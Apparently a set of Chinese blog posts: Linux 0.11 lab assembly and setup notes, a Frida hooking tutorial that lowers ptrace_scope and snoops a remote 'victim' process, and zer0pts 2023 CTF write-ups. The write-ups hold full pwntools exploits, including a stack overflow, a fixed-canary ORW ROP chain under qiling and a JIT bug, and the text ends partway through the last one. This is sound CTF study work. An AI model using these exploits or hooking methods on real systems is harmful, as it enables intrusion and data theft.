120
121
122
123
! Show HD Information:
mov ax,#INITSEG # 由于之前修改了ds/es,这里要先将它们改回
mov ds,ax
mov ax,#SETUPSEG
mov es,ax

call read_cur # 打印Cursor POS
mov ax,#cur
mov bx,#13
call print_string

mov ax,[0]
call print_hex_4
call print_nl

call read_cur # 打印Memory SIZE
mov ax,#mem
mov bx,#12
call print_string

mov ax,[2]
call print_hex_4

call read_cur
mov ax,#kb
mov bx,#4
call print_string

call read_cur # 打印video-card设备的数据
mov ax,#vc
mov bx,#11
call print_string

call read_cur
mov ax,#display
mov bx,#13
call print_string

mov ax,[4]
call print_hex_4
call print_nl

call read_cur
mov ax,#mode
mov bx,#11
call print_string

mov ax,[6]
call print_hex_2
call print_nl

call read_cur
mov ax,#width
mov bx,#13
call print_string

mov ax,[8]
call print_hex_2
call print_nl

call read_cur # 打印hd0设备的数据
mov ax,#hd1
mov bx,#12
call print_string

call read_cur
mov ax,#cyl
mov bx,#10
call print_string

mov ax,[0x80]
call print_hex_4
call print_nl

call read_cur
mov ax,#head
mov bx,#8
call print_string

mov ax,[0x80+0x2]
call print_hex_4
call print_nl

call read_cur
mov ax,#sect
mov bx,#8
call print_string

mov ax,[0x80+0xe]
call print_hex_4
call print_nl

call read_cur # 打印hd1设备的数据
mov ax,#hd2
mov bx,#12
call print_string

call read_cur
mov ax,#cyl
mov bx,#10
call print_string

mov ax,[0x90]
call print_hex_4
call print_nl

call read_cur
mov ax,#head
mov bx,#8
call print_string

mov ax,[0x90+0x2]
call print_hex_4
call print_nl

call read_cur
mov ax,#sect
mov bx,#8
call print_string

mov ax,[0x90+0xe]
call print_hex_4
call print_nl

至于最后一个要求,我们只需要写一个死循环即可:

1
l:  jmp l

最终效果如下:

cHIT-OSLab0

实验环境搭建:

1
2
3
git clone https://github.com/DeathKing/hit-oslab.git
cd hit-oslab
./setup.sh
  • 在用户目录下会生成一个 oslab 目录,这里面就是实验的环境(阉割版的 Linux 0.11)

Linux 0.11 需要 gcc-3.4 进行编译,使用如下命令添加并切换 gcc-3.4 的链接组:

1
2
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-3.4 50
sudo update-alternatives --config gcc

再使用如下命令进行切换:

1
2
3
4
5
6
7
8
  选择       路径            优先级  状态
------------------------------------------------------------
0 /usr/bin/gcc-5 50 自动模式
1 /usr/bin/gcc-11 50 手动模式
* 2 /usr/bin/gcc-3.4 50 手动模式
3 /usr/bin/gcc-5 50 手动模式
4 /usr/bin/gcc-7 50 手动模式
5 /usr/bin/gcc-9 50 手动模式

Linux 0.11 是 Linux 操作系统的第一版本,于 1991 年发布,它的源码结构反映了 Linux 的发展历程和设计思想

Linux 0.11 的源码结构比较简单,主要由以下几个部分组成:

  • 内核(kernel)
  • 系统调用(syscall)
  • 用户空间应用程序(userland apps)
  • 配置文件(config files)

实验目录的结构如下:(部分缺失的功能将由后续实验完成)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
.
├── bochs /* QEMU模拟器插件 */
│   ├── BIOS-bochs-latest
│   ├── bochsrc.bxrc
│   ├── bochsrc-gdb.bxrc
│   └── vgabios.bin
├── files
│   ├── memtest
│   ├── process.c
│   ├── stat_log.py
│   ├── testlab2.c
│   └── testlab2.sh
├── hdc
│   └── umounted
├── hdc-0.11.img
├── linux-0.11 /* linux-0.11源码 */
│   ├── boot /* 引导程序 */
│   │   ├── bootsect.s
│   │   ├── head.s
│   │   └── setup.s
│   ├── fs /* 内核文件系统 */
│   │   ├── bitmap.c
│   │   ├── block_dev.c
│   │   ├── buffer.c
│   │   ├── char_dev.c
│   │   ├── exec.c
│   │   ├── fcntl.c
│   │   ├── file_dev.c
│   │   ├── file_table.c
│   │   ├── inode.c
│   │   ├── ioctl.c
│   │   ├── Makefile
│   │   ├── namei.c
│   │   ├── open.c
│   │   ├── pipe.c
│   │   ├── read_write.c
│   │   ├── stat.c
│   │   ├── super.c
│   │   └── truncate.c
│   ├── include /* 内核头文件 */
│   │   ├── a.out.h
│   │   ├── asm
│   │   │   ├── io.h
│   │   │   ├── memory.h
│   │   │   ├── segment.h
│   │   │   └── system.h
│   │   ├── const.h
│   │   ├── ctype.h
│   │   ├── errno.h
│   │   ├── fcntl.h
│   │   ├── linux
│   │   │   ├── config.h
│   │   │   ├── fdreg.h
│   │   │   ├── fs.h
│   │   │   ├── hdreg.h
│   │   │   ├── head.h
│   │   │   ├── kernel.h
│   │   │   ├── mm.h
│   │   │   ├── sched.h
│   │   │   ├── sched.h.cur1
│   │   │   ├── sched.h.old
│   │   │   ├── sys.h
│   │   │   └── tty.h
│   │   ├── signal.h
│   │   ├── stdarg.h
│   │   ├── stddef.h
│   │   ├── string.h
│   │   ├── sys
│   │   │   ├── stat.h
│   │   │   ├── times.h
│   │   │   ├── types.h
│   │   │   ├── utsname.h
│   │   │   └── wait.h
│   │   ├── termios.h
│   │   ├── time.h
│   │   ├── unistd.h
│   │   └── utime.h
│   ├── init /* init进程 */
│   │   └── main.c
│   ├── kernel /* 内核 */
│   │   ├── asm.s
│   │   ├── blk_drv /* 内核块驱动 */
│   │   │   ├── blk.h
│   │   │   ├── floppy.c
│   │   │   ├── hd.c
│   │   │   ├── ll_rw_blk.c
│   │   │   ├── Makefile
│   │   │   └── ramdisk.c
│   │   ├── chr_drv /* 内核字符驱动 */
│   │   │   ├── console.c
│   │   │   ├── keyboard.S
│   │   │   ├── Makefile
│   │   │   ├── rs_io.s
│   │   │   ├── serial.c
│   │   │   ├── tty_io.c
│   │   │   └── tty_ioctl.c
│   │   ├── exit.c
│   │   ├── fork.c
│   │   ├── Makefile
│   │   ├── math
│   │   │   ├── Makefile
│   │   │   └── math_emulate.c
│   │   ├── mktime.c
│   │   ├── panic.c
│   │   ├── printk.c
│   │   ├── sched.c
│   │   ├── signal.c
│   │   ├── sys.c
│   │   ├── system_call.s
│   │   ├── traps.c
│   │   └── vsprintf.c
│   ├── lib /* 系统调用的实现 */
│   │   ├── close.c
│   │   ├── ctype.c
│   │   ├── dup.c
│   │   ├── errno.c
│   │   ├── execve.c
│   │   ├── _exit.c
│   │   ├── Makefile
│   │   ├── malloc.c
│   │   ├── open.c
│   │   ├── setsid.c
│   │   ├── string.c
│   │   ├── wait.c
│   │   └── write.c
│   ├── Makefile
│   ├── mm /* 内核进程管理 */
│   │   ├── Makefile
│   │   ├── memory.c
│   │   └── page.s
│   ├── tags
│   └── tools
│   └── build.c
├── linux-0.11.tar.gz
├── mount-hdc
└── run

常见报错处理

1
bochs-x 已经是最新版 (2.6.11+dfsg-1build1)
1
2
3
sudo ./configure --with-x11 --with-x --enable-all-optimizations --enable-readline  --enable-debugger-gui --enable-x86-debugger --enable-a20-pin --enable-fast-function-calls --enable-debugger --prefix=/home/yhellow/hit-oslab-all/oslab/bochs-2.6.11/test
make -j8
make install
  • 然后将编译好的二进制文件放入 bochs 目录
1
2
Bochs is exiting with the following message:
[ ] dlopen failed for module 'vga_update_interval' (libbx_vga_update_interval.so): file not found
  • /bochs/bochsrc.bxrc 中注释 vga_update_interval: 300000
1
2
Bochs is exiting with the following message:
[ ] ./bochs/bochsrc.bxrc:10: 'keyboard_serial_delay' is deprecated - use 'keyboard' option instead.
  • /bochs/bochsrc.bxrc 中注释 keyboard_serial_delay: 200
1
2
Bochs is exiting with the following message:
[ ] ./bochs/bochsrc.bxrc:11: 'keyboard_paste_delay' is deprecated - use 'keyboard' option instead.
  • /bochs/bochsrc.bxrc 中注释 keyboard_paste_delay: 100000
1
2
Bochs is exiting with the following message:
[ ] dlopen failed for module 'i440fxsupport' (libbx_i440fxsupport.so): file not found
  • /bochs/bochsrc.bxrc 中注释 i440fxsupport: enabled=0
1
2
Bochs is exiting with the following message:
[ ] ./bochs/bochsrc.bxrc:19: display library 'sdl' not available
  • /bochs/bochsrc.bxrc 中注释 display_library: sdl
1
2
Bochs is exiting with the following message:
[HD ] ata0-0: could not open hard drive image file './hdc-0.11.img'
  • 删除 hdc-0.11.img.lock 文件
1
2
Bochs is exiting with the following message:
[BIOS ] No bootable device.
  • 没有编译 Linux 0.11 内核,需要先切换 gcc-3.4 然后在 linux-0.11 中执行 make all

搭建效果展示

Frida 简析&安装

Frida 是一款功能强大的动态代码插桩工具,主要用于 iOS 和 Android 应用程序,它允许开发人员在不修改目标应用程序源代码的情况下,注入新的代码来观察和修改应用程序的行为

Frida 支持多种编程语言,如 Python、JavaScript 和 C++,它可以通过命令行或图形界面进行使用,Frida 具有以下主要功能:

  • 注入代码:Frida 可以注入新的代码到目标应用程序中,这些代码可以观察和修改应用程序的行为
  • 获取函数调用信息:Frida 可以获取目标应用程序中函数的调用信息,包括函数名、参数和返回值
  • 修改函数行为:Frida 可以修改目标应用程序中函数的行为,例如修改函数的返回值或修改函数输入参数
  • 监控线程:Frida 可以监控目标应用程序中的线程,包括线程的创建、退出和状态变化
  • 获取全局变量:Frida 可以获取目标应用程序中的全局变量,并对其进行读取或修改

安装 Frida:

1
2
3
4
sudo apt update
sudo apt install build-essential libffi-dev libssl-dev python3-dev
pip3 install frida-tools
pip3 install frida

安装 Frida-server:

Frida API 使用案例

官方文档如下:JavaScript API | Frida • A world-class dynamic instrumentation toolkit

开启 frida-server,并确保 frida 可以监控到非自己的子进程:

1
2
sudo sysctl kernel.yama.ptrace_scope=0
sudo frida-server
  • sysctl kernel.yama.ptrace_scope=0 命令用于更改 Linux 内核的 ptrace 权限限制
    • ptrace_scope 为1时,如果 tracer 和 tracee 进程没有父子关系则 ptrace 无效,root 用户不理会此条件
    • ptrace_scope 为2时,如果 tracer 和 tracee 进程没有 CAP_SYS_PTRACE 能力则 ptrace 无效,root 用户可以获取任何能力,所以不理会该限制
    • ptrace_scope 为3时,对于所有用户均禁止 ptrace
1
cat /proc/sys/kernel/yama/ptrace_scope
  • 查看 kernel.yama.ptrace_scope 的状态

测试样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>

void f (int n){
printf ("Number: %d\n", n);
}

int main (int argc, char * argv[]){
int i = 0;
printf ("f() is at %p\n", f);
while (1){
f (i++);
sleep (1);
}
}

Frida 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from __future__ import print_function
import frida
import sys

session = frida.attach(15529)
script = session.create_script("""
var write_address = Module.findExportByName('libc.so.6', 'write');
Interceptor.attach(ptr(write_address), {
onEnter: function(args) {
const fd = args[0].toInt32();
const addr = args[1];
const size = args[2].toInt32();
const formattedString = `write(${fd},${addr},${size})`;
send(formattedString);
}
});
""")
def on_message(message, data):
print(message)
script.on('message', on_message)
script.load()
sys.stdin.read()
  • frida.attach:使用进程名或者进程号指定进程,attach 进程创建 session
  • session.create_script:创建 JavaScript hook 脚本
  • script.on:注册用于通信的回调函数
  • script.load:加载脚本
  • sys.stdin.read:保持主线程运行

效果如下:

1
2
3
4
5
6
7
Number: 545
Number: 546
Number: 547
---------------------------------------------
{'type': 'send', 'payload': 'write(1,0x55e0ed3372a0,12)'}
{'type': 'send', 'payload': 'write(1,0x55e0ed3372a0,12)'}
{'type': 'send', 'payload': 'write(1,0x55e0ed3372a0,12)'}
  • 该脚本会输出传入被 hook 函数的参数

Frida Hook 脚本常用对象

hook 操作:Interceptor

1
2
3
4
5
6
Interceptor.attach(ptr("%s"), {
onEnter: function(args) {
send(args[0].toInt32()); // 这里也可以直接修改args的值来改变传入的参数
onLeave: function onLeave(retval) {
}
});
  • Interceptor.attach 用于 hook 操作,其 attach 方法有两个参数:
    • 将要被 hook 的函数在内存中加载的地址(这个地址可以通过 Module.findExportByName(链接库名,函数名) 来获取)
    • 包含回调函数的对象(由两个回调函数组成)
  • ptr 接收一个字符串,用于构造一个指针
  • onEnter 在进入该函数时调用,args 为传入该函数的参数
  • onLeave 在函数返回时被调用,retval 该函数的返回值
  • send 函数用于 hook 脚本向外部发送信息,通过在外部 python 脚本中用 script.on 设置回调函数来接收信息

调用函数:NativeFunction

1
2
3
4
5
6
7
8
9
10
var write_address = Module.findExportByName('libc.so.6', 'write');
var run = new NativeFunction(write_address, 'size_t', ['size_t','pointer','size_t']);
Interceptor.attach(ptr(write_address), {
onEnter: function(args) {
const fd = args[0].toInt32();
const addr = args[1];
const size = args[2].toInt32();
run(fd,addr,size);
}
});
  • NativeFunction 构造函数接受三个参数:函数地址,返回值,参数类型(数组表示)
  • 上述案例的作用就是将 write 函数再执行一遍,效果如下:
1
2
3
4
5
6
Number: 1410
Number: 1410
Number: 1411
Number: 1411
Number: 1412
Number: 1412

分配空间:Memory

1
2
3
4
5
6
7
8
9
10
var write_address = Module.findExportByName('libc.so.6', 'write');
var st1 = Memory.allocUtf8String("Hack_by_YHellow!\\n");
Interceptor.attach(ptr(write_address), {
onEnter: function(args) {
var st2 = Memory.allocUtf8String("Can be output\\n");
send(args[1]+"->"+st2);
args[1] = st2;
args[2] = ptr('17');
}
});
  • Memory 对象下的方法可以操作被 attach 进程的内存空间,该方法分配的空间会在函数结束后被销毁(在 onEnter 中分配的内存空间会在 onEnter 结束后被释放,在全局分配的空间则会在整个程序结束后释放)
1
2
3
4
5
6
7
{'type': 'send', 'payload': '0x561ec38592a0->0x7f21a810bc00'}
{'type': 'send', 'payload': '0x7f21a810ac40'}
{'type': 'send', 'payload': '0x561ec38592a0->0x7f21a89aa530'}
{'type': 'send', 'payload': '0x7f21a810ac40'}
-------------------------
�ܚ�!� '�! ���!� '�! �� �!� '�! ��!� '�! ���!� '�! @v�!� '�! ؚ�!� '�! �� �!� '�! ���!� '�! �� �!� '�! ��!� '�! ���!� '�! @v�!� '�! ؚ�!� '�! �� �!� '�! ��!� '�! ���!� '�! ؚ�!� '�! �� �!� '�! Number: 32
Number: 33
  • 由于 onEnter 结束后 Memory.allocUtf8String 申请的空间会被释放,被 hook 的 write 会打印出乱码

读取内存:hexdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var write_address = Module.findExportByName('libc.so.6', 'write');
var run = new NativeFunction(write_address, 'size_t', ['pointer','pointer']);

Interceptor.attach(ptr(write_address), {
onEnter: function(args) {
const fd = args[0].toInt32();
const addr = args[1];
const size = args[2].toInt32();
send(hexdump(addr,{
offset: 0,
length: size,
header: false,
ansi: false
}));
}
});
  • 函数 hexdump 有两个参数:需要读取的地址,读取设置

Frida 远程调试

frida.get_device_manager 是 Frida 库中的一个函数,用于获取当前设备的设备管理器对象(设备管理器对象用于管理 Frida 连接到目标设备的进程)

其中有一个 add_remote_device 方法用于添加远程设备(需要提供 IP:Port 或域名),返回一个 device 对象用于表示该远程设备

使用 device 对象的 attach 方法就可以连接远程 frida 服务器上的某个进程:

1
2
3
4
str_host = 'xx.xx.xx.xx:xx'
manager = frida.get_device_manager()
remote_device = manager.add_remote_device(str_host)
session = remote_device.attach("xx")

远程受害机:修改 ptrace 权限并启动 frida 服务器

1
2
sudo sysctl kernel.yama.ptrace_scope=0
sudo frida-server

本地主机:编写 frida python 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import frida
import sys

str_host = '192.168.11.130:6666'
manager = frida.get_device_manager()
remote_device = manager.add_remote_device(str_host)
print(remote_device)
session = remote_device.attach("spy")
print(session)

scr = """
var write_address = Module.findExportByName('libc.so.6', 'write');
var run = new NativeFunction(write_address, 'size_t', ['pointer','pointer']);

Interceptor.attach(ptr(write_address), {
onEnter: function(args) {
const fd = args[0].toInt32();
const addr = args[1];
const size = args[2].toInt32();
send(hexdump(addr,{
offset: 0,
length: size,
header: false,
ansi: false
}));
}
});
"""

script = session.create_script(scr)
def on_message(message ,data):
print (message["payload"])
script.on("message" , on_message)
script.load()
sys.stdin.read()

运行效果如下:

1
2
3
> 1
Name of person: yhellow
ID: 5894042113563141378
1
2
3
4
5
6
7
Device(id="socket@192.168.11.130:6666", name="192.168.11.130:6666", type='remote')
Session(pid=4341)
563e56b3124c 4e 61 6d 65 20 6f 66 20 70 65 72 73 6f 6e 3a 20 Name of person:
7fc731d82f0c 49 44 3a 20 35 38 39 34 30 34 32 31 31 33 35 36 ID: 589404211356
7fc731d82f1c 33 31 34 31 33 37 38 3141378
7ffdd928bf37 0a .
563e56b31234 3e 20 >

aush

1
2
3
4
5
6
aush: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a5305931cbcc0922d0271cf6457ea091ad67e75, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

程序提供了后门,但需要匹配两个随机数:

1
execve("/bin/sh", &path, (char *const *)envp);

程序有栈溢出,可以覆盖 passwdg

1
2
3
4
5
char nameg[16]; // [rsp+40h] [rbp-80h] BYREF
char name_input[16]; // [rsp+50h] [rbp-70h] BYREF
char v10; // [rsp+60h] [rbp-60h]
char passwdg[32]; // [rsp+70h] [rbp-50h] BYREF
char passwd_input[32]; // [rsp+90h] [rbp-30h] BYREF

入侵思路

先进行 patch,使 /usr/games/cowsay 不影响程序的执行

1
2
3
4
5
fd = open("/dev/urandom", 0);
if ( fd == -1 )
return 1LL;
v8 = read(fd, a1, a2) != a2;
v9 = read(fd, a3, a4) != a4 || v8;

程序的随机数是由 /dev/urandom 提供的,它将返回用算法计算出来的伪随机数

1
2
3
4
5
6
7
if ( memcmp(nameg, name_input, 0x10uLL) )
{
path = "/usr/games/cowsay";
v6 = "Invalid username";
v7 = 0LL;
execve("/usr/games/cowsay", &path, (char *const *)envp);
}
  • execve 会替换当前程序,而破坏环境变量会导致 execve 失效

第一次溢出覆盖环境变量为 0xffff 使 execve 失效,第二次溢出覆盖环境变量为 0 使 execve 恢复

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './aush1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 0
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('pwn.2023.zer0pts.com','9006')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1410)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()

sla("Username:","a"*0x198+p64(0xffff))
sla("Password:","a"*0x158+p64(0))

p.interactive()

qjail

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
vuln: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3bd551d0922ad50f6c212770371eaad715a83d67, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

程序启动方式如下:

1
python3 sandbox.py ./vuln

漏洞分析

无限栈溢出:

1
2
puts("Enter something");
__isoc99_scanf("%s", buf);

入侵思路

在提供的 Dockerfile 文件中发现该程序是通过 sandbox.py 启动的:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import qiling
import sys

if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <ELF>")
sys.exit(1)

cmd = ['./lib/ld-2.31.so', '--library-path', '/lib', sys.argv[1]]
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.run()
  • 看上去好像只是为了换 libc 版本

开了 canary,不能直接打 ROP,然而程序又没有可以泄露 canary 的地方

现在唯一的突破口就是 qiling,按照网上的说法,由 qiling 模块启动的程序的 canary 为固定值,并且还可以进行任意设置:

1
2
ql = qiling.Qiling(cmd, console=False, rootfs='.')
ql.env["__cookie"] = "0x12345678"
  • 使用 ql.env 字典来设置环境变量

Canary 的数值来源于 AT_RANDOM,它包含了从 /dev/urandom 设备文件中读取的随机数,在没有设置 __cookie 的情况下,由 qiling 启动的程序会将 AT_RANDOM 设置为一个固定值

1
2
3
4
auxv_entries = (
......
(AUXV.AT_RANDOM, randstraddr),
......
1
new_stack = randstraddr = __push_str(new_stack, 'a' * 16)
1
2
3
4
5
6
def __push_str(top: int, s: str) -> int:
data = s.encode('latin') + b'\x00' # 字节对象的编码转换
top = self.ql.mem.align(top - len(data), self.ql.arch.pointersize)
self.ql.mem.write(top, data)

return top
  • canary 的默认值就是 0x6161616161616100

查看 qiling 源码中的 qiling/profile/linux.ql 文件可以发现:ld 基地址,栈基地址,mmap 映射地址都是固定的

1
2
3
4
5
6
7
[OS64]
stack_address = 0x7ffffffde000
stack_size = 0x30000
load_address = 0x555555554000
interp_address = 0x7ffff7dd5000
mmap_address = 0x7fffb7dd6000
vsyscall_address = 0xffffffffff600000
  • 其中并没有程序基地址和 libc 基地址的信息

通过设置 ql.debugger = True 得到的调试信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x30000 0x31000 rwxp 1000 0 [GDT]
0x555555554000 0x555555555000 r--p 1000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555555000 0x555555578000 r-xp 23000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555578000 0x555555580000 r--p 8000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555581000 0x555555582000 r--p 1000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555582000 0x555555584000 rw-p 2000 0 /home/yhellow/桌面/pwn/lib/ld-2.31.so
0x555555584000 0x555555586000 rwxp 2000 0 [hook_mem]
0x7fffb7dd6000 0x7fffb7dd7000 r--p 1000 0 [mmap] vuln
0x7fffb7dd7000 0x7fffb7dd8000 r-xp 1000 0 [mmap] vuln
0x7fffb7dd8000 0x7fffb7dd9000 r--p 1000 0 [mmap] vuln
0x7fffb7dd9000 0x7fffb7dda000 r--p 1000 0 [mmap] vuln
0x7fffb7dda000 0x7fffb7ddb000 rw-p 1000 0 [mmap] vuln
0x7fffb7ddb000 0x7fffb7dfd000 r--p 22000 0 [mmap] libc.so.6
0x7fffb7dfd000 0x7fffb7f75000 r-xp 178000 0 [mmap] libc.so.6
0x7fffb7f75000 0x7fffb7fc3000 r--p 4e000 0 [mmap] libc.so.6
0x7fffb7fc3000 0x7fffb7fc7000 r--p 4000 0 [mmap] libc.so.6
0x7fffb7fc7000 0x7fffb7fc9000 rw-p 2000 0 [mmap] libc.so.6
0x7fffb7fc9000 0x7fffb7fcd000 rw-p 4000 0 [mmap anonymous]
0x7fffb7fcd000 0x7fffb7fcf000 rw-p 2000 0 [mmap anonymous]
0x7ffffffde000 0x80000000e000 rwxp 30000 0 [stack]
0xffffffffff600000 0xffffffffff601000 rwxp 1000 0 [vsyscall]
  • 这里的 load_address 就是 ld 的加载地址,而 mmap_address 就是程序基地址,libc 基地址就在其后
  • 经过测试发现这些地址都是固定的

最后尝试用 sys_execve 的时候出现了问题:

1
FileNotFoundError: [Errno 2] No such file or directory: '/home/yhellow/桌面/pwn/bin/sh'

由于程序限制了根目录,直接打 ORW

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './vuln'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('lib/libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(["./sandbox.py",challenge])
#p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('34.123.210.162','20234')


def debug():
#gdb.attach(p,"b *0x401EF9\n")
gdb.attach(p,"b *$rebase(0x1216)\n")
pause()

def cmd(op):
sla(">",str(op))

#debug()
canary = 0x6161616161616100
pro_base = 0x7fffb7dd6000
libc_base = 0x7fffb7ddb000

pop_rax_ret = libc_base + 0x0000000000036174
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
syscall_ret = libc_base + 0x000000000010db59
mov_rdi_rax_ret = libc_base + 0x000000000005b622
pop_rcx_rbx_ret = libc_base + 0x000000000010257e
binsh_addr = libc_base + 0x1b45bd
bss_addr = pro_base + 0x4010 + 0x200

payload = "a"*0x108+p64(canary)+"b"*0x8
payload += p64(pop_rax_ret)+p64(0)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(syscall_ret) # read
payload += p64(pop_rax_ret)+p64(2)
payload += p64(pop_rdi_ret)+p64(bss_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_ret)+p64(0)
payload += p64(syscall_ret) # open
payload += p64(pop_rcx_rbx_ret)+p64(0x100)+p64(0)
payload += p64(mov_rdi_rax_ret)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(pop_rax_ret)+p64(0)
payload += p64(syscall_ret) # read
payload += p64(pop_rax_ret)+p64(1)
payload += p64(pop_rdi_ret)+p64(1)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_ret)+p64(0x30)
payload += p64(syscall_ret) # write
payload += p64(pop_rax_ret)+p64(60)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(syscall_ret) # exit

sla("something",payload)
p.send("flag")

p.interactive()

brainjit

这是一个 python 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if __name__ == '__main__':
print("Brainf*ck code: ", end="", flush=True)
code = ''
for _ in range(0x8000):
c = sys.stdin.read(1)
if c == '\n': break
code += c
else:
raise MemoryError("Code must be less than 0x8000 bytes.")

signal.alarm(15)
jit = BrainJIT(code)
jit.compile()
jit.run()
  • 这是一个 Brainfuck 语言的解释器

Brainfuck 的8种符号如下:

符号 含义
> pointer ++
< pointer —
+ *(pointer) ++
- *(pointer) —
. output(pointer)
, input(pointer)
[ while (*pointer) {
] }

漏洞分析

该程序就是先将 Brainfuck 语言解释为二进制代码,然后利用如下代码进行执行:

1
2
3
4
def run(self):
ctypes.CFUNCTYPE(ctypes.c_int, *tuple())(
ctypes.addressof(ctypes.c_int.from_buffer(self._code))
)()
  • 代码的主要目的是将一个整数类型的地址(通过 ctypes.addressof() 获取)传递给回调函数,该整数类型表示一个字节字符串
  • ctypes.CFUNCTYPE:表示一个接受任意数量的参数(包括可选参数)的函数类型

漏洞点如下:

1
2
3
4
5
6
7
elif insn == '[':
# mov al, byte ptr [rbp+rbx]
# test al, al
# jz ??? (address will be fixed later)
emit += b'\x42\x8a\x44\x05\x00\x84\xc0'
emit += b'\x0f\x84' + p32(-1)
jumps.append(self._code_len + len(emit))
  • 如果只设置 [ 而不设置 ] 就会导致指令错位
1
2
3
4
5
6
7
8
9
10
11
   0x7f9cb48cb04d    mov    al, byte ptr [rbp + r8]
0x7f9cb48cb052 test al, al
0x7f9cb48cb054 ✔ je 7f9cb48cb059h <0x7f9cb48cb059>

0x7f9cb48cb059 dec dword ptr [rcx - 7fh]
------------------------------------------------------
0x7f69c146504d mov al, byte ptr [rbp + r8]
0x7f69c1465052 test al, al
